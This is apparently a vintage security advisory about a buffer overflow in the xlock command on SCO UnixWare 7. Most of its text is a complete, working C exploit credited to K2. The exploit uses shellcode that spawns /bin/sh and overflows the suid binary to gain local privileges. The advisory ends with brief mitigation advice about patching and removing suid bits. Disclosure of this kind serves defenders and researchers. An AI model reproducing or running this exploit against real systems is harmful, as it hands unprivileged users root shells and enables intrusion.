COMMAND

    xlock

SYSTEMS AFFECTED

    SCO UnixWare 7

PROBLEM

    Discovered  by  K2.   The  xlock  command  on SCO's UnixWare 7 has
    improper bounds  checking on  the username  passed (via  argv[1]),
    which  can  cause  a  buffer  overflow  when a lengthy username is
    passed.  Exploit (by K2):

    // UnixWare7 /usr/bin/xlock local, K2, revisited Oct-30-1999
    #include <unistd.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    char shell[] =
     "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
     "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
     "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
     "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
     "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
     "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";
    
    #define SIZE 1200
    #define NOPDEF 601
    #define DEFOFF -400
    
    const char x86_nop=0x90;
    long nop=NOPDEF,esp;
    long offset=DEFOFF;
    char buffer[SIZE];
    
    long get_esp() { __asm__("movl %esp,%eax"); }
    
    int main (int argc, char *argv[])
    {
        register int i;
    
        if (argc > 1) offset += strtol(argv[1], NULL, 0);
        if (argc > 2) nop += strtoul(argv[2], NULL, 0);
        esp = get_esp();
    
        memset(buffer, x86_nop, SIZE);
        memcpy(buffer+nop, shell, strlen(shell));
    
        for (i = nop+strlen(shell); i < SIZE-4; i += 4)
            *((int *) &buffer[i]) = esp+offset;
    
        printf("jmp = [0x%x]\toffset = [%d]\n",esp+offset,offset);
        execl("/usr/X/bin/xlock", "xlock", "-name", buffer, NULL);
    
        printf("exec failed!\n");
        return 0;
    }

SOLUTION

    As stated  in the  previous advisory,  wait for  SCO to  release a
    patch.   Because  of  the  /var/sadm  permissions vulnerability we
    published earlier  hasn't been  fixed yet,  be sure  you take  off
    suid privileges on the backed up binary!